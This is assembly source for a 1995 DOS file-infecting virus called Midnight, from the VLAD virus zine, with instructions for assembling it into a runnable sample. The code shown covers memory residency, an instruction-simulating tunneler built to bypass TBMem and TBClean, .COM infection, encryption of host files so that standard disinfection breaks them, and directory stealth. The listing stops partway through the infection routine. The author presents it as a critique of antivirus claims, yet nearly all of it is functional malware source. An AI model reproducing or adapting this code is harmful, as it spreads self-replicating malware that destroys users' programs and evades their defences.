Virus Labs & Distribution
VLAD #5 - Midnight


;;                            -=**=-
;;                     Copyright 1995 by Antigen/VLAD
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
;; '...Midnight shakes the memory
;;  As a madman shakes a dead geranium.'
;;
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
;; read some poetry if you don't know what that's from.
;;
;; This virus was very easy to write, because of its nature:
;;  it is designed to be detected
;; 'What the fuck?!' may be passing through the careful thinker's mind, so
;; here is a reasoning behind this.
;; Midnight infects .com files, but in addition to infecting them, it
;; encrypts the ENTIRE host file using the virus as a key
;; In other words, standard disinfection methods will not work on Midnight
;; So, if user A feels like relying upon their nifty integrity checker or
;; Invircible  (which disinfects 100% of unknown virii, btw!!),
;; they will end up with a bunch of very strange files that crash every time
;; they try to run them.  This virus will ONLY disinfect in memory on
;; execution of an infected file, and only has read redirection and dir/fffn
;; stealth to hide the virus while it is active in memory.
;; My point is that wild and dubious claims of 100% generic detection/
;; disinfection is total bullshit, and I offer Midnight as a perfect example
;; of why that is
;;
;; --Antigen
;; assemble with tasm as an .exe, and strip the header.  Then add 4 bytes:
;; e9 01 00 90
;; and it will run

.model tiny
.code
.radix 16                       ; since this was originally not a serious
org     0                       ; project, I used masm mode :)
start:
const_start:
	call    next
next:
	int     3
	pop     si
	mov     cx,40
	mov     ah,30
	int     21
cmp_shit:
	or      ax,ax
	je      being_tbcleaned
	mov     bx,ds
	dec     bx
	mov     ds,bx
	cmp     ax,0fedh
	je      no_install
	push    bx
	mov     byte ptr ds:[0],'m'
	xor     byte ptr ds:[0],20
	sub     word ptr ds:[3],(end_vir-const_start)/8+1
	sub     word ptr ds:[12],(end_vir-const_start)/8+1
	mov     es,ds:[12]
	mov     byte ptr es:[0],5a xor 34
	xor     byte ptr es:[0],34
	mov     word ptr es:[1],8
	mov     word ptr es:[3],(end_vir-const_start)/8+1
	mov     ax,es
	inc     ax
	mov     es,ax
	xor     di,di
	lea     si,[si-3+10]
	mov     cx,end_vir-const_start
	cld
	rep     movsb
	push    es
	mov     ax,offset _high
	push    ax
	retf
no_install:
	push    bx
	jmp     exit_to_host
being_tbcleaned:
	xor     cx,cx
	db      0f3
	int     25                      ; disable tbclean
	popf
	call    disinfect
	mov     ax,4c00
	int     21
_high:
	push    ds cs
	pop     ds
ideal
	mov     di,sim_flags                    ; this simply saves code
	mov     [word ptr di+(temp_sp - sim_flags)],stack_top + 40
	mov     [word ptr di+(_cs - sim_flags)],cs
	mov     [word ptr di+(_ip - sim_flags)],offset tunnel
;; set the cs:ip of art to cs:tunnel
	mov     [word ptr di+(test_exit - sim_flags)],offset _21test
;; use the INT 21 tunnel tester
	mov     [word ptr di+(tunnel_ip_ofs - sim_flags)],offset o21i
;; tell art where to put the tunneled cs:ip
	mov     [byte ptr di],0
;; clear all simulation flags
	mov     ah,52
	int     21                              ; get DOS list of lists
	mov     ax,[es:bx-2]                    ; ax = first MCB
	mov     [word ptr di+(firstMCB - sim_flags)],ax
	mov     [word ptr di+(return_address - sim_flags)],offset beginning
;; on return from saving the processor state, go to the beginning
	mov     ax,0de1bh
	int     15
	mov     ah,30                           ; we'll use get DOS version
	jmp     save_ds                         ; jump into art
;----------------------->> art starts simulating at this point
tunnel:
	int     21                              ; this is tunneled
;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
	mov     ax,0de1ch
	int     15
	mov     ax,[word ptr di+(tunnel_ip - sim_flags)]
;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
;; FS segment override, GS segment override, Operand Length Override, Address
;; length override, coprocessor escape instructions, and BPICE
	push    cs
	pop     ds
	cmp     ax,0ffff
masm
	jne     successful
	jmp     exit_to_host
successful:
	mov     ax,3521
	int     21
	mov     word ptr ds:[old21ip],bx
	mov     word ptr ds:[old21cs],es
	mov     ax,not 2521
	not     ax
	mov     dx,offset i21
	call    chain
	mov     ax,4b00
	xor     dx,dx                           ; fool TBMem into accepting
	int     21                              ; our vector
exit_to_host:
	pop     ax
	inc     ax
	mov     ds,ax
	mov     es,ax
	mov     si,ds:[101]
	add     si,103
	push    si
	call    decrypt_host
	pop     si
	mov     ax,100
	mov     di,ax
	add     si,(first_bytes - const_start)
	movsw
	movsb
	push    es
	push    ax
	xor     ax,ax
	retf

;;assumptions:
; - the code will only be executed in a situation where no delta offset
;   is necessary, i.e. in residence
; - radix is 16
; - ss:sp = cs:tempsp
; - saved ss:sp is valid
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sim_flags bitmapped values:
;  8 7 6 5 4 3 2 1
;  ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation
;  ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked)
;  ³ ³ ³ ³ ³ ÀÄ unused
;  ³ ³ ³ ³ ÀÄ unused
;  ³ ³ ³ ÀÄ set es = old ds in simulation
;  ³ ³ ÀÄ unused
;  ³ ÀÄ unused
;  ÀÄ one of either int 0 or int 5 has been hooked
ideal
unsuccessful:
	mov     di,[word ptr cs:tunnel_ip_ofs]  ; set in the initialization
	xor     ax,ax
	dec     ax                              ; ax=0ffff
	stosw
exit_art:
	mov     [word ptr cs:return_address],offset hide_tracks
	jmp     restore_ds                      ; continue where we left off
hide_tracks:
	jmp     [dword ptr cs:_ip]              ; no traces :)
beginning:
	cld
	mov     al,[byte ptr cs:sim_flags]
;; did the last instruction require hooking of an interrupt?
	test    al,80
	je      no_reset
	xor     di,di
	mov     es,di                           ; es:di = int 0 vector
	test    al,2                            ; was it int 5?
	je      was_int_0
	mov     di,4*5                          ; int 5 vector
was_int_0:
	mov     ax,[word ptr cs:int0_5_sip]     ; saved int 0/5 vector
	stosw
	mov     ax,[word ptr cs:int0_5_scs]
	stosw
	and     [byte ptr cs:sim_flags],not 82  ; turn off de flags
no_reset:
	push    cs
	pop     es
	mov     di,simulate_buffer              ; es:di = simulate buffer
;; ds:si = traced cs:ip
	mov     ds,[word ptr cs:di+(_cs-simulate_buffer)]
	mov     si,[word ptr cs:di+(_ip-simulate_buffer)]
;; exceptions always push the ip of the ofending instruction on 286+
;; and since nobody in their right mind would write software which
;; works only on 8086/8088s, I assume this will be the case.
	mov     [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it
;; this calls the procedure installed to test whether we've tunneled far
;; enough
	call    [word ptr cs:di+(test_exit-simulate_buffer)]
	jnc     continue_art
;; if we reach here, we're done :)
	mov     di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
;; di = 4 byte space for the tunneled cs:ip
	xchg    ax,si
	stosw
	mov     ax,ds
	stosw                                   ; save the tunneled cs:ip
	jmp     exit_art
continue_art:
;; al = 1st byte of next instruction
	lodsb
	stosb                                   ; save in simulate buffer
	call    scan_for_invalid                ; unhandleable opcode?
	jnc     unsuccessful                    ; damn
	call    scan_for_prefix                 ; prefix?
	jnc     continue_art                    ; if so, read in next byte
	call    scan_for_csip_change            ; modifies cs and/or ip?
	;; if so, it never returns, but jumps to continue_art
	call    scan_for_int0_5_needed          ; hook int 0/5 if needed
	call    scan_for_no_mrm                 ; simple instruction?
	jnc     goto_simulate                   ; then no problems
;; if we reach here, the instruction has a ModR/M byte which needs parsing
	push    ax
	xchg    ax,bx                           ; bl = instruction
	lodsb                                   ; load the ModR/M into al
skip_out:
;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0 
;; have an immediate value which was never copied to the simulate buffer
	cmp     bl,0f6
	je      test_immm
	cmp     bl,0f7
	jne     no_immm
test_immm:
	stosb                                   ; save the ModR/M
	mov     ah,al                           ; again
	and     al,111000b                      ; if column 0, ZF will be set
	xchg    ah,al
	jne     no_imms
	test    bl,1                            ; f7 has 2 bytes, f6 1
	je      one_immm
	movsb
one_immm:
	movsb
no_imms:
	call    immm_parse_ModRM                ; skip the stosb below
	jmp     rest_main
no_immm:
	call    parse_ModRM                     ; store and parse the ModR/M
rest_main:
	pop     ax                              ; al = instruction byte
	call    scan_for_immediate              ; has immediate bytes?
goto_simulate:
	jmp     simulate
;===========================================================================
; given a ModRM in al, determine the length of displacement
; es:di -> current location in simulation buffer
;; format of ModR/M:
;; bit: 8 7 6 5 4 3 2 1
;; Mod: 1 1              = register value, i.e. just a ModR/M byte
;; Mod: 1 0              = memory value + a 16 bit displacement
;; Mod: 0 1              = memory value + an 8 bit displacement
;; mrm: 0 0       1 1 0  = just a 16 bit displacement
;; mrm: 0 0       x x x  = just a ModR/M byte (x x x != 1 1 0)
parse_ModRM:
	stosb                   ; save the ModRM
immm_parse_ModRM:
	mov     ah,al
	and     al,0c0          ; isolate the Mod and the R/M
	cmp     al,0c0
	je      no_disp
	cmp     al,80
	je      disp16
	cmp     al,40
	je      disp8
	and     ah,111b
	cmp     ah,6
	jne     no_disp
disp16:
	movsb
disp8:
	movsb
no_disp:
	ret
;===========================================================================
restore_ds:
	mov     ds,[word ptr cs:_ds]
restore_proc_state:
	mov     ax,cs
	mov     ss,ax
	mov     sp,stack_bottom
	pop     ax bx cx dx si di bp es 
	popf
	pop     ss
	mov     sp,[word ptr cs:_sp]
	jmp     [word ptr cs:return_address]
;===========================================================================
save_ds:
	mov     [word ptr cs:_ds],ds
save_proc_state:
	mov     [word ptr cs:_sp],sp
	mov     [word ptr cs:_ss],ss
	mov     [word ptr cs:_ax],ax
	mov     ax,cs
	mov     ss,ax
	mov     sp,stack_top
	pushf
	cli
	push    es bp di si dx cx bx
	mov     ax,cs
	mov     ss,ax
	mov     sp,[word ptr cs:temp_sp]                ; use temporary stack
	jmp     [word ptr cs:return_address]
;===========================================================================
;===========================================================================
simulate:
;; write the ret to simulate buffer
	call    write_ret
	mov     di,sim_flags                    ; save bytes
;; zero return address for now
	and     [word ptr cs:di+(return_address - sim_flags)],0
	test    [byte ptr cs:di],10             ; set es = ds?
	je      no_es
	sub     [word ptr cs:di+(return_address - sim_flags)],\
		start_simulate-let_es_eq_ds     ; adjust return address
no_es:
	test    [byte ptr cs:di],1              ; set ds = cs?
	jne     let_ds_eq_cs                    ; ds already = cs
;; restore ds if we don't need it to be cs
	mov     ds,[word ptr cs:di+(_ds - sim_flags)]
let_ds_eq_cs:
	add     [word ptr cs:return_address],offset start_simulate
	jmp     restore_proc_state
let_es_eq_ds:
	mov     [word ptr cs:temp_es],es        ; remember for afterwards
	mov     es,[word ptr cs:_ds]            ; set es = ds
start_simulate:
	mov     [word ptr cs:return_address],offset ds_cleanup
	jmp     near simulate_buffer            ; do de dirty werk
ds_cleanup:
	mov     [word ptr cs:return_address],offset test_ds
	jmp     save_proc_state                 ; save everytink but ds
test_ds:
	mov     di,sim_flags
	test    [byte ptr cs:di],10             ; was es = ds?
	je      es_is_just_fine_the_way_it_is   ; heh, guess not
	mov     ax,[word ptr cs:di+(temp_es - sim_flags)]
	mov     [word ptr cs:di+(_es - sim_flags)],ax
es_is_just_fine_the_way_it_is:
	test    [byte ptr cs:di],1              ; was ds = cs?
	je      normal_cmp                      ; if so, and ds now != cs,
	mov     ax,ds                           ; we want top save the change
	cmp     ax,[word ptr cs:di+(_cs - sim_flags)]
	jne     normal_cmp
	mov     ds,[word ptr cs:di+(_ds - sim_flags)]
normal_cmp:
	mov     [word ptr cs:di+(_ds - sim_flags)],ds
	and     [byte ptr cs:di],not 11         ; turn off ds = cs,es = ds
cycle:
	jmp     beginning                       ; go topside
;===========================================================================
write_ret:
	mov     [word ptr cs:_ip],si            ; save new ip
	mov     ax,0ff2e                        ; cs:...
	stosw
	mov     ax,(low (offset return_address - offset const_start)) shl 8 + 26
	stosw
	mov     al,high (offset return_address - offset const_start)
	stosb                                   ; ...jmp [return_address]
	ret
;===========================================================================
scan_for_invalid:
	mov     bx,offset invalid_sfi
	mov     cx,end_invalid_sfi - invalid_sfi
	jmp     scan                            ; let scan handle the ret
invalid_sfi:
	db      0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
end_invalid_sfi:
;===========================================================================
scan_for_prefix:
	cmp     al,2e                           ; cs:?
	je      set_sfp
reset_sfp:
	mov     bx,offset prefixes
	mov     cx,end_prefixes - prefixes
	call    scan
	jc      no_reset_sfp
	and     [byte ptr cs:sim_flags],not 1   ; turn off ds = cs flag
no_reset_sfp:
	ret
set_sfp:
	or      [byte ptr cs:sim_flags],1       ; turn on ds = cs flag
;; set al = 3e which is ds:
	or      al,10                           ; this auto. clears carry :)
	dec     di                              ; replace the cs:
	stosb
	ret
prefixes:
	db      26,36,3e,64,65,0f0,0f2,0f3
end_prefixes:
;===========================================================================
scan_for_int0_5_needed:
	push    ax es di
	cmp     al,0f6                          ; DIV/IDIV
	je      needed0
	cmp     al,0f7
	je      needed0
	cmp     al,0d4                          ; AAM
	je      might_need_0
	cmp     al,62                           ; Bound
	je      needed5
do_da_ret_thang:
	pop     di es ax
	ret
needed5:
	mov     di,4*5
	or      [byte ptr cs:sim_flags],2       ; remember it was int 5
	jmp     skip_0
might_need_0:
	lodsb                                   ; the immediate of AAM
	dec     si
	or      al,al                           ; is it 0?
	jne     do_da_ret_thang                 ; if so we need to hook int 0
needed0:
	xor     ax,ax
	mov     di,ax
	mov     es,ax                           ; es:di = int 0 vector
skip_0:
	or      [byte ptr cs:sim_flags],80      ; remember we hooked an int
	mov     ax,[es:di]
	mov     [word ptr cs:int0_5_sip],ax
	mov     ax,[es:di+2]
	mov     [word ptr cs:int0_5_scs],ax     ; save the vector
	mov     ax,offset int0_5
	stosw
	mov     ax,cs
	stosw                                   ; set it to ours
	jmp     do_da_ret_thang
;===========================================================================
standard_cfar:                                  ; call far
	push    ds                              ; return cs
	lea     ax,[si+4]                       ; return ip
	push    ax
;===========================================================================
standard_far:
	lodsw
	lodsw                                   ; ax = the new cs
	mov     ds,ax
f_standard_far:
	or      al,8                            ; make sure al is non-zero
	cmp     ax,0                            ; shorter than a jmp short
org     $ - 2
standard_near:
	mov     al,0                            ; make sure al = 0
do_gnear:
	mov     [word ptr cs:_ip],bx            ; save the new ip
	or      al,al                           ; was it far?
	je      near_direct
do_gfar:                                        ; if al != 0 then
	mov     [word ptr cs:_cs],ds            ; yes
near_direct:
	jmp     to_beginning                    ; restore temp stack
;===========================================================================
do_cnear:
	lea     ax,[si+2]                       ; return ip
	push    ax                              ; save on stack
	jmp     do_near                         ; do near jump procedure
;===========================================================================
do_cond:
	mov     [byte ptr cs:test_jcond],al     ; save the jump
	mov     cx,[word ptr cs:_cx]            ; if loop, it uses cx
	xchg    bh,bl                           ; bh = short offset
	mov     bl,0                            ; set the current jmp to 0
	mov     bp,sp
	mov     bp,[bp-2]                       ; bp = stack word
	push    [word ptr cs:flags]
	popf                                    ; restore flags
	push    bp                              ; keep the stack untarnished
	pop     bp
	jmp     test_jcond                      ; flush prefetch on 486-
test_jcond:
;; the je is replaced with the jump of choice (current instruction)
	je      has_offset
	cmp     ax,0                            ; shorter dan a jmp short
org     $ - 2
has_offset:
	mov     bl,bh                           ; use the short offset
	mov     [word ptr cs:_cx],cx            ; save any changes to cx
;; al = relative offset
do_short:
	xchg    ax,bx
	cbw                                     ; convert the short to a near
	xchg    ax,bx
	dec     bx                              ; short jmps are 2 bytes
;; bx = relative offset
do_near:
	inc     bx
	inc     bx
	inc     bx                              ; near jmps are 3 bytes long
	add     [word ptr cs:_ip],bx            ; set new ip
;===========================================================================
to_beginning:
	mov     [word ptr cs:_sp],sp            ; remember changes to sp
	mov     bx,cs
	mov     ss,bx
	mov     sp,offset stack_top+300         ; use temporary stack
	jmp     beginning                       ; cycle
;===========================================================================
scan_for_csip_change:
	mov     bx,offset temp_sp
	mov     [word ptr cs:bx],sp             ; save current sp
;; use original stack (smaller code)
	mov     ss,[word ptr cs:bx+(_ss - temp_sp)]
	mov     sp,[word ptr cs:bx+(_sp - temp_sp)]
	xchg    ax,bx
	lodsw
	xchg    ax,bx
;; al = current instruction, ah = 0 (4 lines down)
;; bx = next 2 bytes
	dec     si
	dec     si
	mov     ah,0
	cmp     al,9a                           ; call far
	je      standard_cfar
	cmp     al,0ea                          ; jmp far
	je      standard_far
	cmp     al,0ebh                         ; jmp short
	je      do_short
	cmp     al,0e9                          ; jmp near
	je      do_near
	cmp     al,0e8                          ; call near
	je      do_cnear
	cmp     al,0e0                          ; loopne
	jb      no_cond                         ; loope is e1, loop is e2
	cmp     al,0e3                          ; jcxz
	jbe     do_cond
no_cond:
	cmp     al,70                           ; all the jx/jnx jumps
	jb      not_jcond
	cmp     al,7f
	jbe     do_cond
not_jcond:
	cmp     al,0c2                          ; ret iw
	je      iw_ret
	cmp     al,0c3                          ; ret
	je      standard_ret
	cmp     al,0ca                          ; retf iw
	je      iw_retf
	cmp     al,0cbh                         ; retf
	je      standard_retf
	cmp     al,0cc                          ; int 3
	je      trap_int
	cmp     al,0cdh                         ; int xx
	je      do_int
	cmp     al,0ceh                         ; into
	je      overflow_int
	cmp     al,0cfh                         ; iret
	je      do_iret
	cmp     al,0ff                          ; indirect jmp/call (maybe)
	je      test_ff
	jmp     restore_temp_stack              ; return to the sim cycle
;===========================================================================
iw_retf:
;; remember that this is a retf and also not an iret
	or      ax,101
iw_ret:
;; remember that an imm16 must be added to sp
	or      ah,2
	test    ah,1
	jne     standard_retf
standard_ret:
	mov     al,0                            ; not retf
	cmp     ax,0                            ; shorter jmp short
org     $ - 2
standard_retf:
	and     al,not 2                        ; not iret
do_iret:
do_retn:
	pop     [word ptr cs:_ip]               ; pop ip from stack
	test    al,1                            ; far?
	je      retn_only
	pop     [word ptr cs:_cs]               ; pop cs from stack
	test    al,2                            ; iret?
	je      retf_only
	pop     [word ptr cs:flags]             ; pop flags
retf_only:
retn_only:
	test    ah,2                            ; immediate word?
	je      no_iw
	add     sp,bx                           ; bx = that word (ca xxxx)
no_iw:
	jmp     to_beginning                    ; cycle
;-----------------------------
; thses are used by test_ff
goto_call_near:
	push    si
goto_jmp_near:
	jmp     standard_near
goto_call_far:
	push    [word ptr cs:_cs] si
goto_jmp_far:
	jmp     f_standard_far
;===========================================================================
overflow_int:
	test    [word ptr cs:flags],800         ; OF set?
	mov     bl,4                            ; int 4 if so
	jne     do_sint
	mov     bx,si                           ; si = instruction after INTO
	jmp     do_gnear                        ; reuse code to save size
trap_int:
	mov     bl,3                            ; use int 3
do_sint:
	dec     si                              ; cc,ce are 1 byte < cd xx
;===========================================================================
do_int:
	mov     bh,0                            ; bx = int number
	shl     bl,1
	shl     bl,1                            ; bx = bx*4
	inc     si
	push    [word ptr cs:flags] ds si       ; order of stack in an int
	and     [byte ptr cs:flags+1],not 3     ; turn off TF & IF
	xor     ax,ax
	mov     ds,ax
	lds     bx,[bx]                         ; ds:bx =int vector
	or      al,8                            ; it's far, so remember
	jmp     do_gnear
;===========================================================================
test_ff:
	mov     ax,cs
	mov     ss,ax
	mov     sp,[word ptr cs:temp_sp]        ; need temporary stack
	lodsb                                   ; al = ModR/M
	mov     ah,al                           ; remember it
	and     al,111000b                      ; isolate opcode in ModR/M
	push    ax                              ; save for later
	cmp     al,2 shl 3
	jb      not_csip_ff
	cmp     al,5 shl 3                      ; if 5 > reg > 2 it needs sim
	ja      not_csip_ff
	call    get_ModRM                       ; get the new cs:ip
	xchg    ax,bx                           ; ds:bx = new cs:ip
	pop     ax                              ; ax = reg of Mod reg R/M
	mov     ss,[word ptr cs:_ss]
	mov     sp,[word ptr cs:_sp]
	mov     si,[word ptr cs:_ip]
	cmp     al,2 shl 3                      ; call near
	je      goto_call_near
	cmp     al,3 shl 3                      ; call far
	je      goto_call_far
	cmp     al,4 shl 3                      ; jmp near
	je      goto_jmp_near
	cmp     al,5 shl 3                      ; jmp far
	je      goto_jmp_far
not_csip_ff:
	dec     si                              ; ds:si -> ModR/M
	pop     ax                              ; pop to get the ret to work
	mov     al,0ff                          ; now it's like when started
	ret
;===========================================================================
scan_for_no_mrm:
	cmp     al,0e                           ; push  cs
	jne     not_pushcs
	dec     di                              ; es:di -> push cs
	or      al,10                           ; push ds
	stosb                                   ; switch push cs with push ds
	or      [byte ptr cs:sim_flags],1       ; remember to set ds = cs
	ret
not_pushcs:
	cmp     al,8c                           ; mov r/m16,segmentr register?
	jne     not_mov_reg_seg
	lodsb                                   ; al = ModR/M
	push    ax                              ; save it
	and     al,111000b                      ; isolate the register
	cmp     al,1000b                        ; cs?
	jne     not_cs
	or      [byte ptr cs:sim_flags],1       ; set ds = cs and use ds
	pop     ax
	or      al,10000b                       ; now = ds
setup_skip:
	pop     bx                              ; pop the return address
	push    ax                              ; setup to skip normal route
	mov     bl,08c
	jmp     skip_out                        ; go directly to parse_modR/M
not_cs:
;; now to check for:
;  mov [cs:somewhere],ds
;   which becomes
;  mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
;   so I use
;  mov [ds:somewhere],es and set es = ds
	cmp     al,11000b                       ; ds?
	jne     restore_8c
	test    [byte ptr cs:sim_flags],1       ; is ds = cs? urgh, problem
	je      restore_8c
	or      [byte ptr cs:sim_flags],10      ; OK, use es instead
	pop     ax
	xor     al,11000b                       ; use es
	jmp     setup_skip
restore_8c:
	dec     si
	pop     ax
	mov     al,8c
	stc
	ret
not_mov_reg_seg:
	cmp     al,0c8                          ; enter?
	jne     next_sfnm
	movsw                                   ; the only 4 byte instruction
	movsb
	ret
next_sfnm:
	cmp     al,40
	jb      do_scan_sfnm                    ; 40 <= instructions <= 61
	cmp     al,62                           ; are all 1 byte instructions
	cmc
	ja      success_sfnm
do_scan_sfnm:
	cmp     al,90                           ; 9a is never seen here
	jb      do_scan_sfnm2                   ; 90 <= instrucitons <= 9f
	cmp     al,0a0                          ; are all 1 byte instructions
	cmc
	ja      success_sfnm
do_scan_sfnm2:
	push    ax
	mov     bx,offset one_byters
	mov     cx,two_byters - one_byters
	call    scan                            ; scan for 1 byters
	jnc     success1
	mov     cl,three_byters - two_byters
	call    scan                            ; scan for 2 byters
	jnc     success2
	mov     cl,end_sfnm - three_byters
	call    scan                            ; and three byte instructions
	jc      no_success_sfnm
	movsb
success2:
	movsb
success1:
	mov ah,0                                ; shorter jmp short
org     $ - 1
no_success_sfnm:
	stc
	pop     ax
success_sfnm:
	ret
one_byters:
	db      6,7,0e
	db      16,17,1e,1f
	db      27,2f
	db      37,3f
	db      6c,6dh,6e,6f
	db      0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
	db      0c9
	db      0d6,0d7
	db      0ee
	;skip halt (no need to worry if that's executed!)
	db      0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
two_byters:
	db      04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
	db      6a                      ;push imm8
	db      0a8                     ;test al,ib
	db      0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7         ;mov rl/h, ib
	db      0d4,0d5                 ;aam and aad
	db      0e4,0e6                 ;in/out al,ib
	db      0e5,0e7                 ;in/out ax,ib
three_byters:
	db      05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
	db      68                      ; push imm16
	db      0a0,0a1,0a2,0a3         ;mov al/ax,[mx],mov [mx],al/ax
	db      0a9                     ;test ax,iw
	db      0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf       ;mov rx,iw
end_sfnm:
;===========================================================================
scan_for_immediate:
	push    ax                              ; opcodes with an imm value
	mov     bx,offset immediates_8
	mov     cx,immediates_16 - immediates_8
	call    scan
	jnc     success_1_sfi
	mov     cl,end_immediates - immediates_16
	call    scan
	jc      no_imm_sfi
	movsb
success_1_sfi:
	movsb
no_imm_sfi:
	pop     ax
	ret
immediates_8:
	db      6bh,80,82,83,0c0,0c1,0c6
immediates_16:
	db      69,81,0c1,0c7
end_immediates:
;===========================================================================
; es:bx = index
; al = byte to scan for
; cx = number of bytes to scan
scan:
	cmp     [es:bx],al
	je      found_scan
	inc     bx
	loop    scan
	stc
found_scan:                                     ; if =, CF will be cleared
	ret
;===========================================================================
_21test:
;; check for instructions which DO NOT exist at DOS entry point
	cmp     [byte ptr si],0cf               ; iret
	je      not_in_DOS
	cmp     [byte ptr si],0cbh              ; retf
	je      not_in_DOS
	cmp     [byte ptr si],0ca               ; retf iw
	je      not_in_DOS
	cmp     [byte ptr si],0c3               ; ret
	je      not_in_DOS
	cmp     [byte ptr si],0c2               ; ret iw
	je      not_in_DOS
	mov     ax,si
	mov     cl,4
	shr     ax,cl                           ; un-segmentize
;; segmentize our current location
	mov     cx,ds
	add     ax,cx
	cmp     ax,[word ptr cs:firstMCB]
not_in_DOS:
	ret
;===========================================================================
;; interrupt handler (sets up tracing through the int handler)
int0_5:
	mov     di,sim_flags
	add     sp,4
;; push the 'real' return address, replacing the simulate buffer's location
	push    [word ptr cs:di+(_cs - sim_flags)]
	push    [word ptr cs:di+(int0_5_ip - sim_flags)]
;; save the new sp
	mov     [word ptr cs:di+(_sp - sim_flags)],sp
	lds     ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
;; ds:ax = new cs:ip (location of their int 0/5 vector
	mov     [word ptr cs:di+(_cs - sim_flags)],ds
	mov     [word ptr cs:di+(_ip - sim_flags)],ax
;; restore temp_stack
	mov     ax,cs
	mov     ss,ax
	mov     sp,offset stack_top + 300
	and     [byte ptr cs:di],not 11         ; turn off any flags still on
	jmp     beginning                       ; cycle
;===========================================================================
get_ModRM:
	mov     [word ptr cs:temp_sp],sp
	dec     di
;; use a temporary instruction to get what's at the ModR/M easily
	mov     al,0c5h                         ; lds r16,r/m16
	stosb
	mov     al,ah
	and     al,11000000b                    ; look at the Mod
;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
;; use mov r16,r16 instead
	cmp     al,11000000b                    
	jne     OK_to_use_lds
;; this only happens for call,jmp near
	dec     di                              ; es:di -> lds r16,r/m16
	mov     al,8bh                          ; mov r16,r/m16
	stosb                                   ; replace the lds
OK_to_use_lds:
	mov     al,ah
	and     al,11000111b                    ; set r16 to ax
	call    parse_ModRM                     ; copy correct number of bytes
	call    write_ret                       ; write the return and save ip
	mov     [word ptr cs:return_address],offset next_gmw
	test    [byte ptr cs:sim_flags],1       ; ds = cs?
	je      no_gmw_ds
	jmp     restore_proc_state              ; restore all but ds
no_gmw_ds:
	jmp     restore_ds                      ; restore everything
next_gmw:
	mov     [word ptr cs:return_address],offset next_gmw1
	jmp     near simulate_buffer            ; get the address in ds:ax
next_gmw1:
	and     [byte ptr cs:sim_flags],not 1   ; turn off the flag
restore_temp_stack:                             ; self-explanatory
	mov     bx,cs
	mov     ss,bx
	mov     sp,[word ptr cs:temp_sp]        ; all set :)
	ret

;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`

masm
test_infect:
	push    ax cx dx si di ds es
	cld
	mov     ax,3d02
	call    chain
	jnc     continue_infect
	jmp     no_infect
continue_infect:
	xchg    ax,bx
	mov     ax,4400
	call    chain
	test    dl,80
	jne     not_infected
	push    cs cs
	pop     ds es
	mov     dx,(end_vir - const_start)
	mov     ah,3f
	mov     cx,3
	call    chain
	mov     si,dx
	lodsb
	cmp     al,0e9
	je      infected
	or      al,84
	cmp     al,84 or 'M'
	je      infected
	cmp     al,84 or 'Z'
	je      infected                        ; avoid misnamed .exe's
not_infected:
	clc
	mov     al,0
org     $ - 1
infected:
	stc
	pop     es ds di si dx cx ax
	ret

disinfect:
	push    ax bx cx dx si di ds es
	mov     ah,62
	call    chain
	mov     es,bx
	mov     es,es:[2c]
	xor     di,di
	mov     ax,di
	mov     cx,7fff
go_on:
	repne   scasb
	scasb
	jne     go_on
	scasw
	push    es di
	pop     dx ds
	mov     ax,3d02
	call    chain
	xchg    ax,bx
	mov     ax,5700
	call    chain
	push    cx dx
	push    cs
	pop     ds
	mov     dx,word ptr ds:[(end_vir - const_start)+1]
	push    dx
	add     dx,3+(first_bytes - const_start)
	xor     cx,cx
	mov     ax,4200
	call    chain
	mov     dx,(end_vir - const_start) + 3
	mov     cx,3
	mov     ah,3f
	call    chain
	pop     dx
	add     dx,3
	xor     cx,cx
	mov     ax,4200
	call    chain
	mov     ah,40
	xor     cx,cx
	call    chain
	cwd
	xchg    ax,cx
	mov     ax,4200
	call    chain
	mov     ah,40
	mov     cx,3
	mov     dx,(end_vir - const_start) + 3
	call    chain
	pop     dx cx
	mov     ax,5701
	call    chain
	mov     ah,3e
	call    chain

no_infect:
	pop     es ds di si dx cx bx ax
	ret
goto_not_infectable:
	jmp     not_infectable
infect:
	cld
	push    ax bx cx dx si di ds es
	push    ds dx
	xor     ax,ax
	pop     di es
	mov     cx,128d
	cld
	repne   scasb
	cmp     di,3
	jbe     goto_not_infectable
	mov     ax,word ptr es:[di-3]
	or      ax,2020
	cmp     ax,'mo'
	jne     goto_not_infectable
	mov     al,byte ptr es:[di-4]
	and     al,not 20
	cmp     al,'C'
	jne     goto_not_infectable
	mov     al,byte ptr es:[di-6]
	or      al,20
	cmp     al,'d'
	je      goto_not_infectable     ; avoid COMMAND.COM like de plague
infectable:
	mov     ax,4300
	call    chain
	push    ax
	and     cl,not 1
	mov     ax,4301
	call    chain
	call    test_infect
	pop     cx
	pushf
	mov     ax,4301
	call    chain
	popf
	jc      infected_prolly
	push    cs
	pop     ds
	mov     ax,5700
	call    chain
	push    cx dx
	mov     dx,(first_bytes - const_start)
	mov     cx,3
	mov     ah,3f
	call    chain
	push    cs
	pop     es
	mov     di,(end_vir - const_start)
	call    encrypt_host
	mov     ax,4202
	cwd
	mov     cx,dx
